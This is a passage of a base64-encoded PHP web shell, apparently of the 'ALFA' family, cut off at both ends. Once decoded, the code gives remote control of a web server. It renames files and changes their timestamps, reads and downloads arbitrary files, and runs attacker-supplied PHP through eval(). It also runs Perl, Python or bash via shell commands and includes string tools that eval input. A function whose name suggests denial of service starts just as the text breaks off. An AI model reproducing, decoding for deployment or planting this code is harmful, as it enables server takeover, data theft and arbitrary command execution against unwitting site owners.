UWyJhbGZhMSJdKTsNCiRhbGZhM19lc2NhcGUgPSBhZGRzbGFzaGVzKCRfUE9TVFsiYWxmYTMiXSk7DQppZighZW1wdHkoJF9QT1NUWydhbGZhMyddKSl7DQokY21kX3JlbmFtZSA9IGZhbHNlOw0KaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7DQppZihfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsNCiRhbGZhMV9lc2NhcGUgPSBhZGRzbGFzaGVzKCRhbGZhMV9kZWNvZGVkKTsNCmFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkuIic7bXYgJyIuJGFsZmExX2VzY2FwZS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTMnXSkuIiciKTsNCn1lbHNlew0KJGNtZF9yZW5hbWUgPSB0cnVlOw0KfQ0KfWVsc2V7DQokYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkX1BPU1RbImFsZmExIl0pOw0KfQ0KaWYoIUByZW5hbWUoJF9QT1NUWydhbGZhMSddLCAkX1BPU1RbJ2FsZmEzJ10pJiYkY21kX3JlbmFtZSl7DQplY2hvICdDYW5cJ3QgcmVuYW1lITxicj4nO31lbHNle2VjaG8oJ1JlbmFtZWQhPHNjcmlwdD50cnl7JCgiJy4kX1BPU1RbJ2FsZmE0J10uJyIpLmlubmVySFRNTCA9ICI8ZGl2IGNsYXNzPVwnZWRpdG9yLWljb25cJz4iK2xvYWRUeXBlKFwnJy4kYWxmYTNfZXNjYXBlLidcJyxcJycuJGZ0eXBlLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJykrIjwvZGl2PjxkaXYgY2xhc3M9XCdlZGl0b3ItZmlsZS1uYW1lXCc+Jy4kYWxmYTNfZXNjYXBlLic8L2Rpdj4iO2VkaXRvcl9maWxlc1siJy4kX1BPU1RbJ2FsZmE0J10uJyJdLmZpbGUgPSAiJy4kYWxmYTNfZXNjYXBlLiciO3VwZGF0ZUZpbGVFZGl0b3IoIicuJGFsZmExX2VzY2FwZS4nIiwgIicuJGFsZmEzX2VzY2FwZS4nIik7Jy4oJGZ0eXBlID09ICJkaXIiPyJ1cGRhdGVEaXJzRWRpdG9yKCciLiRfUE9TVFsnYWxmYTQnXS4iJywnIi4kYWxmYTFfZXNjYXBlLiInKTsiOiIiKS4nfWNhdGNoKGUpe2NvbnNvbGUubG9nKGUpfTwvc2NyaXB0PicpOyRhbGZhMV9lc2NhcGUgPSAkYWxmYTNfZXNjYXBlO30NCn0NCmVjaG8gJzxmb3JtIG9uc3VibWl0PSJlZGl0b3IoXCcnLiRhbGZhMV9lc2NhcGUuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMubmFtZS52YWx1ZSxcJycuJF9QT1NUWydjJ10uJ1wnLFwnJy4kX1BPU1RbJ2FsZmE0J10uJ1wnLFwnJy4kZnR5cGUuJ1wnKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicuYWRkc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkmJiRfUE9TVFsnYWxmYTMnXSE9Jyc/JF9QT1NUWydhbGZhMyddOiRhbGZhMV9kZWNvZGVkKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsNCmJyZWFrOw0KY2FzZSAndG91Y2gnOg0KQGNoZGlyKCRfUE9TVFsnYyddKTsNCmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSApIHsNCiR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsnYWxmYTMnXSk7DQppZigkdGltZSl7DQokdG91Y2hlZCA9IGZhbHNlOw0KaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7DQoJYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJzt0b3VjaCAtZCAnIi5odG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMyddKSkuIicgJyIuYWRkc2xhc2hlcygkYWxmYTFfZGVjb2RlZCkuIiciKTsNCgkkdG91Y2hlZCA9IHRydWU7DQp9DQppZighQHRvdWNoKCRfUE9TVFsnYWxmYTEnXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCkNCmVjaG8gJ0ZhaWwhJzsNCmVsc2UNCmVjaG8gJ1RvdWNoZWQhJzsNCn0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsNCn0NCmNsZWFyc3RhdGNhY2hlKCk7DQplY2hvICc8c2NyaXB0PmFsZmEzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZWRpdG9yKFwnJy5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuJ1wnLFwnJy4kX1BPU1RbJ2FsZmEyJ10uJ1wnLHRoaXMudG91Y2gudmFsdWUsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXRvdWNoIHZhbHVlPSInLmRhdGUoIlktbS1kIEg6aTpzIiwgKCRjaGRpcl9mYWxzPyRmaWxlX2luZm9bNF06QGZpbGVtdGltZSgkX1BPU1RbJ2FsZmExJ10pKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIj48L2Zvcm0+JzsNCmJyZWFrOw0KY2FzZSAnaW1hZ2UnOg0KQGNoZGlyKCRfUE9TVFsnYyddKTsNCmVjaG8oJzxocj4nKTsNCiRmaWxlID0gJF9QT1NUWydhbGZhMSddOw0KJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsNCmlmKGlzX2FycmF5KCRpbWFnZV9pbmZvKXx8JGNoZGlyX2ZhbHMpew0KJHdpZHRoID0gKGludCkkaW1hZ2VfaW5mb1swXTsNCiRoZWlnaHQgPSAoaW50KSRpbWFnZV9pbmZvWzFdOw0KaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7DQoJJHNvdXJjZSA9IGFsZmFFeCgiY2F0ICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIHwgYmFzZTY0Iik7DQoJbGlzdCgkd2lkdGgsICRoZWlnaHQpID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiaWRlbnRpZnkgLWZvcm1hdCAnJXc6JWgnICciLmFkZHNsYXNoZXMoJGZpbGUpLiInIikpOw0KCSRtaW1lID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRmaWxlKS4iJyIpKTsNCgkkaW1hZ2VfaW5mb1snbWltZSddID0gJG1pbWVbMV07DQp9ZWxzZXsNCgkkc291cmNlID0gX19aVzVqYjJSbGNnKF9fcmVhZF9maWxlKCRmaWxlLCBmYWxzZSkpOw0KfQ0KJGltYWdlX2luZm9faCA9ICJJbWFnZSB0eXBlID0gPHNwYW4+Wzwvc3Bhbj4gIi4kaW1hZ2VfaW5mb1snbWltZSddLiIgPHNwYW4+XTwvc3Bhbj48YnI+SW1hZ2UgU2l6ZSA9IDxzcGFuPlsgPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuPiBdPC9zcGFuPjxicj4iOw0KaWYoJHdpZHRoID4gODAwKXskd2lkdGggPSA4MDA7fQ0KZWNobyAkY29udGVudCA9ICI8ZGl2IGNsYXNzPSdlZGl0b3Itdmlldyc+PGRpdiBjbGFzcz0ndmlldy1jb250ZW50Jz48Y2VudGVyPiIuJGltYWdlX2luZm9faC4iPGJyPjxpbWcgaWQ9J3ZpZXdJbWFnZScgc3R5bGU9J21heC13aWR0aDoxMDAlO2JvcmRlcjoxcHggc29saWQgZ3JlZW47JyBzcmM9J2RhdGE6Ii4kaW1hZ2VfaW5mb1snbWltZSddLiI7YmFzZTY0LCIuJHNvdXJjZS4iJyBhbHQ9JyIuJGZpbGUuIic+PC9jZW50ZXI+PC9kaXY+PC9kaXY+PGJyPiI7DQp9DQpicmVhazsNCn0NCmVjaG8gJzwvZGl2Pic7DQphbGZhRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBmaW5kaWNvbigkZmlsZSwkdHlwZSl7DQokcyA9ICdodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zLyc7DQokdHlwZXMgPSBhcnJheSgnanNvbicsJ3BwdCcsJ3BwdHgnLCd4bHMnLCd4bHN4JywnbXNpJywnY29uZmlnJywnY2dpJywncG0nLCdjJywnY3BwJywnY3MnLCdqYXZhJywnYXNweCcsJ2FzcCcsJ2RiJywndHRmJywnZW90Jywnd29mZicsJ3dvZmYyJywnd29mZicsJ2NvbmYnLCdsb2cnLCdhcGsnLCdjYWInLCdiejInLCd0Z3onLCdkbWcnLCdpem8nLCdqYXInLCc3eicsJ2lzbycsJ3JhcicsJ2JhdCcsJ3NoJywnYWxmYScsJ2d6JywndGFyJywncGhwJywncGhwNCcsJ3BocDUnLCdwaHRtbCcsJ2h0bWwnLCd4aHRtbCcsJ3NodG1sJywnaHRtJywnemlwJywncG5nJywnanBnJywnanBlZycsJ2dpZicsJ2JtcCcsJ2ljbycsJ3R4dCcsJ2pzJywncmInLCdweScsJ3htbCcsJ2NzcycsJ3NxbCcsJ2h0YWNjZXNzJywncGwnLCdpbmknLCdkbGwnLCdleGUnLCdtcDMnLCdtcDQnLCdtNGEnLCdtb3YnLCdmbHYnLCdzd2YnLCdta3YnLCdhdmknLCd3bXYnLCdtcGcnLCdtcGVnJywnZGF0JywncGRmJywnM2dwJywnZG9jJywnZG9jeCcsJ2RvY20nKTsNCmlmKCR0eXBlIT0nZmlsZScpew0KcmV0dXJuICgkZmlsZT09Jy4uJz8kcy4nYmFjay5wbmcnOiRzLidmb2xkZXIucG5nJyk7DQp9ZWxzZXsNCiRleHQgPSBleHBsb2RlKCcuJywkZmlsZSk7DQokZXh0ID0gZW5kKCRleHQpOw0KJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQpyZXR1cm4gKGluX2FycmF5KCRleHQsJHR5cGVzKT8kcy4kZXh0LicucG5nJzokcy4nbm90Zm91bmQucG5nJyk7DQp9DQp9DQpmdW5jdGlvbiBhbGZhZGxmaWxlKCl7DQppZihpc3NldCgkX1BPU1RbJ2MnXSwkX1BPU1RbJ2ZpbGUnXSkpew0KJGJhc2VuYW1lID0gcmF3dXJsZGVjb2RlKGJhc2VuYW1lKCRfUE9TVFsnZmlsZSddKSk7DQokX1BPU1RbJ2ZpbGUnXSA9IHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJF9QT1NUWydjJ10uJy8nLiRiYXNlbmFtZSk7DQokYWxmYV9jYW5ydW5jbWQgPSBfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpOw0KaWYoQGlzX2ZpbGUoJF9QT1NUWydmaWxlJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ2ZpbGUnXSkgfHwgJGFsZmFfY2FucnVuY21kKXsNCm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCmhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmFkZHNsYXNoZXMoJGJhc2VuYW1lKS4iXCIiKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCmlmKCRHTE9CQUxTWyJnbG9iX2NoZGlyX2ZhbHNlIl0pew0KCSRyYW5kbmFtZSA9ICRiYXNlbmFtZS5yYW5kKDExMSw5OTk5KTsNCgkkc2NyaXB0cGF0aCA9IGRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTsNCgkkZmlsZXBhdGggPSAkc2NyaXB0cGF0aC4iLyIuJHJhbmRuYW1lOw0KCWlmKF9hbGZhX2lzX3dyaXRhYmxlKCRzY3JpcHRwYXRoKSl7DQoJCWFsZmFFeCgiY3AgJyIuYWRkc2xhc2hlcygkX1BPU1RbImZpbGUiXSkuIicgJyIuYWRkc2xhc2hlcygkZmlsZXBhdGgpLiInIik7DQoJCXJlYWRmaWxlKCRmaWxlcGF0aCk7DQoJCUB1bmxpbmsoJGZpbGVwYXRoKTsNCgl9ZWxzZXsNCgkJYWxmYUV4KCJjYXQgJyIuYWRkc2xhc2hlcygkX1BPU1RbImZpbGUiXSkuIiciKTsNCgl9DQp9ZWxzZXsNCglyZWFkZmlsZSgkX1BPU1RbJ2ZpbGUnXSk7DQp9DQp9ZWxzZSBlY2hvKCdFcnJvci4uLiEnKTt9fQ0KZnVuY3Rpb24gX19hbGZhX3NldF9jb29raWUoJGtleSwgJHZhbHVlKXsNCgkkX0NPT0tJRVska2V5XSA9ICR2YWx1ZTsNCglAc2V0Y29va2llKCRrZXksICR2YWx1ZSwgdGltZSgpKyg4NjQwMCAqIDcpLCAnLycpOw0KfQ0KZnVuY3Rpb24gYWxmYXBocGV2YWwoKXsNCmlmKGlzc2V0KCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKSYmQGlzX2RpcigkX0NPT0tJRVsiZXZhbF90bXBkaXIiXSkpew0KCSR0ZW1wZGlyID0gX19aR1ZqYjJSbGNnKCRfQ09PS0lFWyJldmFsX3RtcGRpciJdKTsNCn1lbHNlew0KCSR0ZW1wZGlyID0gZGlybmFtZShhbGZhRXgoIm1rdGVtcCIpKTsNCglfX2FsZmFfc2V0X2Nvb2tpZSgiZXZhbF90bXBkaXIiLCBfX1pXNWpiMlJsY2coJHRlbXBkaXIpKTsNCn0NCmFsZmFoZWFkKCk7DQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2luaScpKXsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQpvYl9zdGFydCgpOw0KJElOST1pbmlfZ2V0X2FsbCgpOw0KcHJpbnQgJzx0YWJsZSBib3JkZXI9MD48dHI+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5QYXJhbTwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPjxmb250IGNsYXNzPSJoaWdobGlnaHRfdHh0Ij5HbG9iYWwgdmFsdWU8L3RkPicNCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+TG9jYWwgVmFsdWU8L3RkPicNCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Zm9udCBjbGFzcz0iaGlnaGxpZ2h0X3R4dCI+QWNjZXNzPC90ZD48L3RyPic7DQpmb3JlYWNoICgkSU5JIGFzICRwYXJhbSA9PiAkdmFsdWVzKQ0KcHJpbnQgIlxuIi4nPHRyPicNCi4nPHRkIGNsYXNzPSJsaXN0aW5nIj48Yj4nLiRwYXJhbS4nPC90ZD4nDQouJzx0ZCBjbGFzcz0ibGlzdGluZyI+Jy4kdmFsdWVzWydnbG9iYWxfdmFsdWUnXS4nIDwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snbG9jYWxfdmFsdWUnXS4nIDwvdGQ+Jw0KLic8dGQgY2xhc3M9Imxpc3RpbmciPicuJHZhbHVlc1snYWNjZXNzJ10uJyA8L3RkPjwvdHI+JzsNCiR0bXAgPSBvYl9nZXRfY2xlYW4oKTsNCiR0bXAgPSBwcmVnX3JlcGxhY2UoJyEoYm9keXxhOlx3K3xib2R5LCB0ZCwgdGgsIGgxLCBoMikgey4qfSFtc2lVJywnJywkdG1wKTsNCiR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsNCmVjaG8gc3RyX3JlcGxhY2UoJzxoMScsJzxoMicsICR0bXApIC4nPC9kaXY+PGJyPic7DQp9DQppZihpc3NldCgkX1BPU1RbJ2FsZmEyJ10pICYmICgkX1BPU1RbJ2FsZmEyJ10gPT0gJ2luZm8nKSkgew0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHN0eWxlPi5wIHtjb2xvcjojMDAwO308L3N0eWxlPic7DQpvYl9zdGFydCgpOw0KcGhwaW5mbygpOw0KJHRtcCA9IG9iX2dldF9jbGVhbigpOw0KJHRtcCA9IHByZWdfcmVwbGFjZSgnIShib2R5fGE6XHcrfGJvZHksIHRkLCB0aCwgaDEsIGgyKSB7Lip9IW1zaVUnLCcnLCR0bXApOw0KJHRtcCA9IHByZWdfcmVwbGFjZSgnIXRkLCB0aCB7KC4qKX0hbXNpVScsJy5lLCAudiwgLmgsIC5oIHRoIHskMX0nLCR0bXApOw0KZWNobyBzdHJfcmVwbGFjZSgnPGgxJywnPGgyJywgJHRtcCkgLic8L2Rpdj48YnI+JzsNCn0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgKCRfUE9TVFsnYWxmYTInXSA9PSAnZXh0ZW4nKSkgew0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsNCm9iX3N0YXJ0KCk7DQokRVhUPWdldF9sb2FkZWRfZXh0ZW5zaW9ucygpOw0KZWNobyAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkuJzwvdGQ+PC90cj48L3RhYmxlPicuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7DQplY2hvICc8L2Rpdj48YnI+JzsNCn0NCiRsYW5nX2h0bWwgPSAiIjsNCmZvcmVhY2goYXJyYXkoInBocCI9PiJwaHAgfj4gWyBXaW5kb3dzIC8gTGludXggXSIsInBlcmwiPT4icGVybCB+PiBbIExpbnV4IF0iLCJweXRob24iPT4icHl0aG9uIH4+IFsgTGludXggXSIsImJhc2giPT4iYmFzaCB+PiBbIExpbnV4IF0iKSBhcyAka2V5PT4kdmFsKXskbGFuZ19odG1sIC49ICc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyIgJy4oJF9QT1NUWyJhbGZhMyJdPT0ka2V5PyJzZWxlY3RlZCI6IiIpLic+Jy4kdmFsLic8L29wdGlvbj4nO30NCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxDZW50ZXI+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3BocGV2YWxcJyxudWxsLFwnXCcsXCdpbmlcJykiPnwgSU5JX0lORk8gfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3BocGV2YWxcJyxudWxsLFwnXCcsXCdpbmZvXCcpIj4gfCBwaHBpbmZvIHw8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3BocGV2YWxcJyxudWxsLFwnXCcsXCdleHRlblwnKSI+IHwgZXh0ZW5zaW9ucyB8PC9hPjwvY2VudGVyPjxicj48Zm9ybSBjbGFzcz0icGhwLWV2YWxzIiBuYW1lPSJwZiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0idmFyIGFjZV92YWx1ZT1nZUV2YWxBY2VWYWx1ZSh0aGlzKTtnKFwncGhwZXZhbFwnLG51bGwsYWNlX3ZhbHVlLG51bGwsdGhpcy5sYW5ndWFnZS52YWx1ZSk7IHJldHVybiBmYWxzZTsiPjxkaXYgY2xhc3M9InR4dGZvbnQiPlNlbGVjdCBMYW5ndWFnZTogPC9kaXY+IDxzZWxlY3QgbmFtZT0ibGFuZ3VhZ2UiIHN0eWxlPSJ3aWR0aDozMDBweDsiPicuJGxhbmdfaHRtbC4nPC9zZWxlY3Q+Jy5fYWxmYV9sb2FkX2FjZV9vcHRpb25zKCJldmFsIikuJzxicj48YnI+PGRpdiBjbGFzcz0iYmlnYXJlYSIgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+PGRpdiBjbGFzcz0icGhwLWV2YWxzLWFjZSI+Jy4oIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmExJ10pOiImbHQ7P3BocFxuXG5cdGVjaG8oJ2hlbGxvIGFsZmEgIScpO1xuXG4/PiIpLic8L2Rpdj48L2Rpdj48Y2VudGVyPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIiIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+PC9jZW50ZXI+JzsNCmVjaG8gJzwvZm9ybT48cHJlIGlkPSJQaHBPdXRwdXQiIHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ2FsZmExJ10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9Im1sMSI+JzsNCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmExJ10pKXsNCmlmKCRfUE9TVFsnYWxmYTMnXT09InBocCIpew0Kb2Jfc3RhcnQoKTsNCmV2YWwoJz8+Jy4kX1BPU1RbJ2FsZmExJ10pOw0KJHJlc3VsdCA9IGh0bWxzcGVjaWFsY2hhcnMob2JfZ2V0X2NsZWFuKCkpOw0KfWVsc2VpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpJiYkR0xPQkFMU1sic3lzIl09PSJ1bml4Iil7DQoJJGxhbmcgPSAkX1BPU1RbJ2FsZmEzJ107DQoJJGZpbGVuYW1lID0gInRlbXAiLnJhbmQoMTExMTEsOTk5OTkpOw0KCSR0ZW1wID0gJHRlbXBkaXIuIi8iLiRmaWxlbmFtZSA7DQoJX193cml0ZV9maWxlKCRmaWxlbmFtZSwgJF9QT1NUWydhbGZhMSddKTsNCgkkcmVzdWx0ID0gYWxmYUV4KCJtdiB7JGZpbGVuYW1lfSB7JHRlbXB9O3skbGFuZ30geyR0ZW1wfTtybSAtZiB7JHRlbXB9Iik7DQoJQHVubGluaygkZmlsZW5hbWUpOw0KCUB1bmxpbmsoJHRlbXApOw0KfQ0KZWNobyAnPHRleHRhcmVhIGNsYXNzPSJiaWdhcmVhIj4nLiRyZXN1bHQuJzwvdGV4dGFyZWE+JzsNCn0NCmVjaG8gJzwvcHJlPjwvZGl2Pic7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhaGFzaCgpew0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0NCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQokc3RyaW5nVG9vbHMgPSBhcnJheSgNCidCYXNlNjRfZW5jb2RlICggJHN0cmluZyApJyA9PiAnX19aVzVqYjJSbGNnKCRzKScsDQonQmFzZTY0X2RlY29kZSAoICRzdHJpbmcgKScgPT4gJ19fWkdWamIyUmxjZygkcyknLA0KJ3N0cnJldiAoICRzdHJpbmcgKScgPT4gJ3N0cnJldigkcyknLA0KJ2JpbjJoZXggKCAkc3RyaW5nICknID0+ICdiaW4yaGV4KCRzKScsDQonaGV4MmJpbiAoICRzdHJpbmcgKScgPT4gJ2hleDJiaW4oJHMpJywNCidtZDUgKCAkc3RyaW5nICknID0+ICdtZDUoJHMpJywNCidzaGExICggJHN0cmluZyApJyA9PiAnc2hhMSgkcyknLA0KJ2hhc2ggKCAic2hhMjUxIiwgJHN0cmluZyApIC0tPiBzaGEyNTEnID0+ICdoYXNoKCJzaGEyNTYiLCRzKScsDQonaGFzaCAoICJzaGEzODQiLCAkc3RyaW5nICkgLS0+IHNoYTM4NCcgPT4gJ2hhc2goInNoYTM4NCIsJHMpJywNCidoYXNoICggInNoYTUxMiIsICRzdHJpbmcgKSAtLT4gc2hhNTEyJyA9PiAnaGFzaCgic2hhNTEyIiwkcyknLA0KJ2NyeXB0ICggJHN0cmluZyApJyA9PiAnY3J5cHQoJHMpJywNCidjcmMzMiAoICRzdHJpbmcgKScgPT4gJ2NyYzMyKCRzKScsDQonc3RyX3JvdDEzICggJHN0cmluZyApJyA9PiAnc3RyX3JvdDEzKCRzKScsDQondXJsZW5jb2RlICggJHN0cmluZyApJyA9PiAndXJsZW5jb2RlKCRzKScsDQondXJsZGVjb2RlICAoICRzdHJpbmcgKScgPT4gJ3VybGRlY29kZSgkcyknLA0KJ2Z1bGxfdXJsZW5jb2RlICAoICRzdHJpbmcgKScgPT4gJ2Z1bGxfdXJsZW5jb2RlKCRzKScsDQonaHRtbHNwZWNpYWxjaGFycyAgKCAkc3RyaW5nICknID0+ICdodG1sc3BlY2lhbGNoYXJzKCRzKScsDQonYmFzZTY0X2VuY29kZSAoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpIC0tPiBFbmNvZGUnID0+ICdfX1pXNWpiMlJsY2coZ3pkZWZsYXRlKCRzLCA5KSknLA0KJ2d6aW5mbGF0ZSAoYmFzZTY0X2RlY29kZSggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnQGd6aW5mbGF0ZShfX1pHVmpiMlJsY2coJHMpKScsDQonc3RyX3JvdDEzIChiYXNlNjRfZW5jb2RlKCAkc3RyaW5nICkpIC0tPiBFbmNvZGUnID0+ICdzdHJfcm90MTMoX19aVzVqYjJSbGNnKCRzKSknLA0KJ2Jhc2U2NF9kZWNvZGUgKHN0cl9yb3QxMyggJHN0cmluZyApKSAtLT4gRGVjb2RlJyA9PiAnX19aR1ZqYjJSbGNnKHN0cl9yb3QxMygkcykpJywNCidzdHJfcm90MTMgKGJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKCAkc3RyaW5nICwgOSkpKSAtLT4gRW5jb2RlJyA9PiAnc3RyX3JvdDEzKF9fWlc1amIyUmxjZyhnemRlZmxhdGUoJHMsOSkpKScsDQonZ3ppbmZsYXRlIChiYXNlNjRfZGVjb2RlKHN0cl9yb3QxMyggJHN0cmluZyApKSkgLS0+IERlY29kZScgPT4gJ0BnemluZmxhdGUoX19aR1ZqYjJSbGNnKHN0cl9yb3QxMygkcykpKScsDQopOw0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7DQplY2hvICI8Zm9ybSBvblN1Ym1pdD0nZyhcImhhc2hcIixudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz48ZGl2IGNsYXNzPSd0eHRmb250Jz5NZXRob2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0nc2VsZWN0VG9vbCcgc3R5bGU9J3dpZHRoOjQwMHB4Oyc+IjsNCmZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQ0KZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJyAiLigkX1BPU1RbJ2FsZmExJ109PSR2PydzZWxlY3RlZCc6JycpLiI+Ii4kay4iPC9vcHRpb24+IjsNCmVjaG8gIjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcvPjxicj48dGV4dGFyZWEgIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdiaWdhcmVhJz4iLihlbXB0eSgkX1BPU1RbJ2FsZmExJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYWxmYTInXSkpLiI8L3RleHRhcmVhPjwvZm9ybT4iOw0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpew0KJHN0cmluZyA9IGFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMiddKTsNCiRzdHJpbmcgPSBzdHJfcmVwbGFjZSgnXCInLCciJywkc3RyaW5nKTsNCiRhbGcgPSAkX1BPU1RbJ2FsZmExJ107DQokY29kZSA9IHN0cl9yZXBsYWNlKCckcycsIiciLiRzdHJpbmcuIiciLCRhbGcpOw0Kb2Jfc3RhcnQoKTsNCmV2YWwoJ2VjaG8gJy4kY29kZS4nOycpOw0KJHJlcyA9IG9iX2dldF9jb250ZW50cygpOw0Kb2JfZW5kX2NsZWFuKCk7DQppZihpbl9hcnJheSgkYWxnLCAkc3RyaW5nVG9vbHMpKWVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0iYmlnYXJlYSI+Jy5odG1sc3BlY2lhbGNoYXJzKCRyZXMpLic8L3RleHRhcmVhPic7DQp9DQplY2hvICI8L2Rpdj4iOw0KYWxmYUZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWxmYWRvcygpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVh